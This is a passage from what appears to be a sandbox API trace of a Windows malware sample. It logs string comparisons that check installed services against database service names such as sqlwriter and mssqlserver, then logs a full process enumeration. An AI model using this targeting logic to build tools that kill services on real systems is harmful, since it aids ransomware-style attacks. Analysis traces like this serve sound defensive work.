lpString2="lmhosts") returned -1 [0065.377] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0065.377] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0065.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0065.377] lstrlenW (lpString="LSM") returned 3 [0065.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0065.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0065.377] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0065.378] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0065.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0065.378] lstrlenW (lpString="MapsBroker") returned 10 [0065.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0065.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0065.378] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0065.378] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0065.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0065.378] lstrlenW (lpString="MpsSvc") returned 6 [0065.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0065.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0065.378] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0065.378] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0065.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0065.378] lstrlenW (lpString="NcbService") returned 10 [0065.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0065.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0065.378] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0065.378] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0065.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0065.378] lstrlenW (lpString="netprofm") returned 8 [0065.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0065.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0065.378] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0065.378] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0065.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0065.378] lstrlenW (lpString="NlaSvc") returned 6 [0065.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0065.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0065.378] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0065.378] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0065.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0065.379] lstrlenW (lpString="nsi") returned 3 [0065.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0065.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0065.379] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0065.379] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0065.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0065.379] lstrlenW (lpString="PcaSvc") returned 6 [0065.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0065.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0065.379] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0065.379] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0065.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0065.379] lstrlenW (lpString="PlugPlay") returned 8 [0065.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0065.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0065.379] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0065.379] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0065.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0065.379] lstrlenW (lpString="Power") returned 5 [0065.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0065.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0065.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0065.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0065.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0065.379] lstrlenW (lpString="ProfSvc") returned 7 [0065.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0065.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0065.379] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0065.379] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0065.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0065.380] lstrlenW (lpString="RpcEptMapper") returned 12 [0065.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.380] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0065.380] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0065.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0065.380] lstrlenW (lpString="RpcSs") returned 5 [0065.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0065.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0065.380] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0065.380] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0065.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0065.380] lstrlenW (lpString="SamSs") returned 5 [0065.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0065.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0065.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0065.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0065.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0065.380] lstrlenW (lpString="Schedule") returned 8 [0065.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0065.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0065.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0065.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0065.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0065.380] lstrlenW (lpString="SecurityHealthService") returned 21 [0065.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0065.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0065.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0065.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0065.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0065.380] lstrlenW (lpString="SENS") returned 4 [0065.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0065.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0065.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0065.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0065.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0065.381] lstrlenW (lpString="ShellHWDetection") returned 16 [0065.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.381] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0065.381] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0065.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0065.381] lstrlenW (lpString="Spooler") returned 7 [0065.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0065.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0065.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0065.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0065.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0065.381] lstrlenW (lpString="SSDPSRV") returned 7 [0065.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0065.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0065.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0065.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0065.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0065.381] lstrlenW (lpString="StateRepository") returned 15 [0065.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0065.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0065.381] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0065.381] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0065.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0065.381] lstrlenW (lpString="SysMain") returned 7 [0065.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0065.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0065.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0065.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0065.382] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4364f30 | out: hHeap=0x690000) returned 1 [0065.382] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0065.385] Process32FirstW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.551] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0065.551] lstrlenW (lpString="System") returned 6 [0065.551] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0065.552] lstrlenW (lpString="smss.exe") returned 8 [0065.552] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.553] lstrlenW (lpString="csrss.exe") returned 9 [0065.553] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0065.553] lstrlenW (lpString="wininit.exe") returned 11 [0065.553] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.554] lstrlenW (lpString="csrss.exe") returned 9 [0065.554] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0065.555] lstrlenW (lpString="winlogon.exe") returned 12 [0065.555] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0065.555] lstrlenW (lpString="services.exe") returned 12 [0065.555] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0065.556] lstrlenW (lpString="lsass.exe") returned 9 [0065.556] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.557] lstrlenW (lpString="svchost.exe") returned 11 [0065.557] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0065.557] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0065.557] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0065.558] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0065.558] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.559] lstrlenW (lpString="svchost.exe") returned 11 [0065.559] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0065.559] lstrlenW (lpString="dwm.exe") returned 7 [0065.559] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.560] lstrlenW (lpString="svchost.exe") returned 11 [0065.560] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.561] lstrlenW (lpString="svchost.exe") returned 11 [0065.561] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.562] lstrlenW (lpString="svchost.exe") returned 11 [0065.562] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.562] lstrlenW (lpString="svchost.exe") returned 11 [0065.562] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.563] lstrlenW (lpString="svchost.exe") returned 11 [0065.563] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.564] lstrlenW (lpString="svchost.exe") returned 11 [0065.564] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.565] lstrlenW (lpString="svchost.exe") returned 11 [0065.565] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.565] lstrlenW (lpString="svchost.exe") returned 11 [0065.565] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.566] lstrlenW (lpString="svchost.exe") returned 11 [0065.566] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0065.567] lstrlenW (lpString="spoolsv.exe") returned 11 [0065.567] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.567] lstrlenW (lpString="svchost.exe") returned 11 [0065.567] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.568] lstrlenW (lpString="svchost.exe") returned 11 [0065.568] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0065.569] lstrlenW (lpString="audiodg.exe") returned 11 [0065.569] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0065.569] lstrlenW (lpString="sihost.exe") returned 10 [0065.569] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.570] lstrlenW (lpString="svchost.exe") returned 11 [0065.570] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0065.571] lstrlenW (lpString="taskhostw.exe") returned 13 [0065.571] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0065.571] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0065.571] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0065.572] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0065.572] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0065.573] lstrlenW (lpString="explorer.exe") returned 12 [0065.573] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0065.573] lstrlenW (lpString="Memory Compression") returned 18 [0065.573] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0065.574] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0065.574] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0065.575] lstrlenW (lpString="SearchUI.exe") returned 12 [0065.575] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0065.576] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0065.576] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0065.576] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0065.577] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0065.577] lstrlenW (lpString="taskhostw.exe") returned 13 [0065.577] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0065.578] lstrlenW (lpString="UsoClient.exe") returned 13 [0065.578] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0065.578] lstrlenW (lpString="taskhostw.exe") returned 13 [0065.579] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0065.579] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0065.579] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0065.580] lstrlenW 